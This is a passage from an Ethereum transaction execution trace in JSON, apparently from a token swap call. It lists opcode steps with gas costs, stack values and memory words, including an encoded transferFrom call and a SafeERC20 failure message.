,"000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12612,"op":"POP","gas":19318,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12613,"op":"POP","gas":19316,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12614,"op":"POP","gas":19314,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12615,"op":"POP","gas":19312,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12616,"op":"POP","gas":19310,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12617,"op":"POP","gas":19308,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12618,"op":"DUP1","gas":19306,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12619,"op":"DUP1","gas":19303,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12620,"op":"PUSH2","gas":19300,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12623,"op":"SWAP1","gas":19297,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x3154"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12624,"op":"PUSH2","gas":19294,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12627,"op":"JUMP","gas":19291,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x3bfb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15355,"op":"JUMPDEST","gas":19283,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x45